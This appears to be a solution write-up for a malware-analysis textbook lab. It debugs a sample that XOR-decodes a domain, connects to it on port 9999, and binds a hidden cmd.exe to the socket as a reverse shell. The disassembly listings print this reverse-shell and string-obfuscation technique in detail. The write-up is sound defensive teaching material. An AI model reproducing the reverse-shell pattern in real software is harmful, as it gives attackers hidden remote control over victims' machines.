The imports and the string cmd
are the only interesting
strings that appear statically in the binary.
It terminates without doing much.
Rename the file ocl.exe before you run it.
A string is being built on the stack, which is used by attackers to obfuscate strings from simple strings utilities and basic static analysis techniques.
The string 1qaz2wsx3edc
and a pointer to a buffer of data
are passed to subroutine 0x401089.
The malware uses the domain practicalmalwareanalysis.com.
The malware will XOR the encoded DNS name with the string 1qaz2wsx3edc
to decode the domain name.
The malware is setting the stdout
, stderr
, and stdin
handles (used in the STARTUPINFO
structure of CreateProcessA
) to the socket. Since CreateProcessA
is
called with cmd
as an argument, this will create a reverse shell
by tying the command shell to the socket.
We will use dynamic analysis and OllyDbg to analyze this piece of malware in order to
determine its functionality. But before we get into debugging, let’s begin by running Strings
on the binary. We see the imports and the string cmd
. Next,
we’ll simply run the binary to see if anything interesting happens.
Based on the process launch and exit in Process Explorer, the process seems to terminate almost immediately. We are definitely going to need to debug this piece to see what’s going on.
When we load the binary into IDA Pro, we see the main
function begins at 0x401128.
OllyDbg will break at the entry
point of the application, but the entry point contains a lot of uninteresting code generated by the
compiler, so we’ll set a software breakpoint on main
, since
we want to focus on it.
If we click the Run button, we hit the first breakpoint at
main
. The first thing to notice is a large series of mov
instructions moving single bytes into local variables beginning at
❶, as shown in Example C-14.
Example C-14. Building an ASCII string on the stack, one character at a time
00401128 push ebp 00401129 mov ebp, esp 0040112B sub esp, 304h 00401131 push esi 00401132 push edi 00401133 mov [ebp+var_1B0], 31h ❶ 0040113A mov [ebp+var_1AF], 71h 00401141 mov [ebp+var_1AE], 61h 00401148 mov [ebp+var_1AD], 7Ah 0040114F mov [ebp+var_1AC], 32h 00401156 mov [ebp+var_1AB], 77h 0040115D mov [ebp+var_1AA], 73h 00401164 mov [ebp+var_1A9], 78h 0040116B mov [ebp+var_1A8], 33h 00401172 mov [ebp+var_1A7], 65h 00401179 mov [ebp+var_1A6], 64h 00401180 mov [ebp+var_1A5], 63h 00401187 mov [ebp+var_1A4], 0 ❷ 0040118E mov [ebp+Str1], 6Fh 00401195 mov [ebp+var_19F], 63h 0040119C mov [ebp+var_19E], 6Ch 004011A3 mov [ebp+var_19D], 2Eh 004011AA mov [ebp+var_19C], 65h 004011B1 mov [ebp+var_19B], 78h 004011B8 mov [ebp+var_19A], 65h 004011BF mov [ebp+var_199], 0 ❸
This code builds two ASCII strings by moving each character onto the stack followed by
NULL terminators at ❷ and ❸, which is a popular method for string obfuscation. The
obfuscated strings will be referenced by the first variable of the string, which will give us the
full NULL-terminated ASCII string. We single-step over these moves to look for signs of these
strings being created on the stack in the lower-right pane. We stop executing at 0x4011C6,
right-click EBP, and select Follow in Dump. By scrolling up to
the first string [EBP-1B0]
, we can see the string 1qaz2wsx3edc
being created. The second string is created at [EBP-1A0]
and named ocl.exe
.
After these strings are created, we can see a call to GetModuleFileNameA
in Example C-15 at
❶, and then a function call within the
Lab09-02.exe malware to 0x401550. If we try to analyze this function in
OllyDbg, we’ll find that it’s rather complicated. If we examine it in IDA Pro,
we’ll see that it is the C runtime library function _strrchr
. OllyDbg missed this due to the lack of symbol support. If we load the binary
into IDA Pro, we can let IDA Pro use its FLIRT signature detection to correctly identify these APIs,
as shown as shown at ❷.
Example C-15. IDA Pro labels strrchr
properly, but OllyDbg does
not.
00401208 call ds:GetModuleFileNameA ❶
0040120E push 5Ch ; Ch
00401210 lea ecx, [ebp+Str]
00401216 push ecx ; Str
00401217 call _strrchr
❷
Let’s verify this by setting a breakpoint on the call at 0x401217. We can see two
arguments being pushed on the stack. The first is a forward slash, and the second is the value being
returned from the GetModuleFileNameA
call, which would be the
current name of the executable. The malware is searching backward for a forward slash (0x5C
character) in an attempt to get the name (rather than the full path)
of the executable being executed. If we step-over the call to _strrchr
, we can see that EAX is pointing to the string Lab09-02.exe
.
The next function call (0x4014C0) reveals a situation similar to _strrchr
. IDA Pro identifies this function as _strcmp
,
as shown in Example C-16.
Example C-16. IDA Pro labels strcmp
properly, but OllyDbg does
not.
0040121F mov [ebp+Str2], eax
00401222 mov edx, [ebp+Str2]
00401225 add edx, 1 ❶
00401228 mov [ebp+Str2], edx
0040122B mov eax, [ebp+Str2]
0040122E push eax ; Str2
0040122F lea ecx, [ebp+Str1]
00401235 push ecx ; Str1
00401236 call _strcmp
We’ll determine which strings are being compared by setting a breakpoint on the
call to _strcmp
at 0x401236. Once our breakpoint is hit, we can
see the two strings being sent to the _strcmp
call. The first is
the pointer to the GetModuleFileNameA
call (incremented by one at
❶ to account for the forward slash), and the other is
ocl.exe
(our decoded string from earlier). If the strings match,
EAX should contain 0, the test eax,eax
will set the zero flag to
true, and execution will then go to 0x40124C. If the condition is false, it looks like the program
will exit, which explains why the malware terminated when we tried to execute it earlier. The
malware must be named ocl.exe in order to properly execute.
Let’s rename the binary ocl.exe and set a breakpoint at 0x40124C. If our analysis is correct, the malware should not exit, and our breakpoint will be hit. Success! Our breakpoint was hit, and we can continue our analysis in OllyDbg.
WSAStartup
and WSASocket
are imported, so we can assume some networking functionality is going to be taking place. The next
major function call is at 0x4012BD to the function 0x401089. Let’s set a breakpoint at
0x401089 and inspect the stack for the arguments to this function call.
The two arguments being passed to this function are a stack buffer (encoded string) and the
string 1qaz2wsx3edc
(key string). We step-into the function and
step to the call at 0x401440, which passes the key string to strlen
. It returns 0xC
and moves it into [EBP-104]
. Next, [EBP-108]
is
initialized to 0. OllyDbg has noted a loop in progress, which makes sense since [EBP-108]
is a counter that is incremented at 0x4010DA and compared to
0x20
at 0x4010E3. As the loop continues to execute, we see our
key string going through an idiv
and mov
instruction sequence, as shown Example C-17.
Example C-17. String decoding functionality
004010E3 cmp [ebp+var_108], 20h 004010EA jge short loc_40111D ❸ 004010EC mov edx, [ebp+arg_4] 004010EF add edx, [ebp+var_108] 004010F5 movsx ecx, byte ptr [edx] 004010F8 mov eax, [ebp+var_108] 004010FE cdq 004010FF idiv [ebp+var_104] 00401105 mov eax, [ebp+Str] 00401108 movsx edx, byte ptr [eax+edx] ❶ 0040110C xor ecx, edx ❷ 0040110E mov eax, [ebp+var_108] 00401114 mov [ebp+eax+var_100], cl 0040111B jmp short loc_4010D4
This is getting an index into the string. Notice the use of EDX after the idiv
instruction at ❶, which
is using modulo to allow the malware to loop over the string in case the encoded string length is
longer than our key string. We then see an interesting XOR at ❷.
If we set a breakpoint at 0x4010F5, we can see which value is being pointed to by EDX and
being moved into ECX, which will tell us the value that is getting XOR’ed later in the
function. When we click Follow in Dump on EDX, we see that this
is a pointer to the first argument to this function call (encoded string). ECX will contain 0x46
, which is the first byte in the encoded string. We set a breakpoint
at ❷ to see what is being XOR’ed on the first
iteration through the loop. We see that EDX will contain 0x31
(first byte of key string), and we again see that ECX will contain 0x46
.
Let’s execute the loop a few more times and try to make sense of the string being
decoded. After clicking play a few more times, we can see the string www.prac
. This could be the start of a domain that the malware is trying to communicate
with. Let’s continue until var_108
([EBP-108]
, our counter variable) equals 0x20
. Once the jge short
0x40111D
at ❸ is
taken, the final string placed into EAX is www.practicalmalwareanalysis.com
(which happens to be of length 0x20
), and the function will then return to the main
function. This function decoded the string www.practicalmalwareanalysis.com
by using a multibyte XOR loop of the string 1qaz2wsx3edc
.
Back in the main
function, we see EAX being passed to a
gethostbyname
call. This value will return an IP address, which
will populate the sockaddr_in
structure.
Next, we see a call to ntohs
with an argument of 0x270f
, or 9999
in decimal. This
argument is moved into a sockaddr_in
structure along with
0x2
, which represents AF_INET
(the code for Internet sockets) in the sockaddr_in
structure. The
next call will connect the malware to www.practicalmalwareanalysis.com on TCP port 9999. If the connection succeeds,
the malware will continue executing until 0x40137A. If it fails, the malware will sleep for 30
seconds, go back to the beginning of the main
function, and
repeat the process again. We can use Netcat and ApateDNS to fool the malware into connecting back to
an IP we control.
If we step-into the function call made at 0x4013a9 (step-into 0x401000), we see two function
calls to 0x4013E0. Again, this is another example where OllyDbg does not identify a system call of
memset
, whereas IDA Pro does identify the function. Next, we see
a call to CreateProcessA
at 0x40106E, as shown in Example C-18. Before the call, some structure is being
populated. We’ll turn to IDA Pro to shed some light on what’s going on here.
This appears to be a reverse shell, created using a method that’s popular among
malware authors. In this method, the STARTUPINFO
structure that
is passed to CreateProcessA
is manipulated. CreateProcessA
is called, and it runs cmd.exe with
its window suppressed, so that it isn’t visible to the user under attack. Before the call to
CreateProcessA
, a socket is created and a connection is
established to a remote server. That socket is tied to the standard streams (stdin
, stdout
, and stderr
) for cmd.exe.
Example C-18 shows this method of reverse shell creation in action.
Example C-18. Creating a reverse shell using CreateProcessA
and the
STARTUPINFO
structure
0040103B mov [ebp+StartupInfo.wShowWindow],SW_HIDE
❷ 00401041 mov edx, [ebp+Socket
] 00401044 mov [ebp+StartupInfo.hStdInput
], edx ❸ 00401047 mov eax, [ebp+StartupInfo.hStdInput] 0040104A mov [ebp+StartupInfo.hStdError
], eax ❹ 0040104D mov ecx, [ebp+StartupInfo.hStdError] 00401050 mov [ebp+StartupInfo.hStdOutput
], ecx ❺ 00401053 lea edx, [ebp+ProcessInformation] 00401056 push edx ; lpProcessInformation 00401057 lea eax, [ebp+StartupInfo] 0040105A push eax ; lpStartupInfo 0040105B push 0 ; lpCurrentDirectory 0040105D push 0 ; lpEnvironment 0040105F push 0 ; dwCreationFlags 00401061 push 1 ; bInheritHandles 00401063 push 0 ; lpThreadAttributes 00401065 push 0 ; lpProcessAttributes 00401067 push offset CommandLine ; "cmd
" ❶ 0040106C push 0 ; lpApplicationName 0040106E call ds:CreateProcessA
The STARTUPINFO
structure is manipulated, and then
parameters are passed to CreateProcessA
. We see that CreateProcessA
is going to run cmd.exe because it is
passed as a parameter at ❶. The wShowWindow
member of the structure is set to SW_HIDE
at ❷, which will hide
cmd.exe’s window when it is launched. At ❸, ❹, and ❺, we see that the standard streams in the STARTUPINFO
structure are set to the socket. This directly ties the standard streams to
the socket for cmd.exe, so when it is launched, all of the data that comes over
the socket will be sent to cmd.exe, and all output generated by
cmd.exe will be sent over the socket.
In summary, we determined that this malware is a simple reverse shell with obfuscated strings that must be renamed ocl.exe before it can be run successfully. The strings are obfuscated using the stack and a multibyte XOR. In Chapter 13, we will cover data-encoding techniques like this in more detail.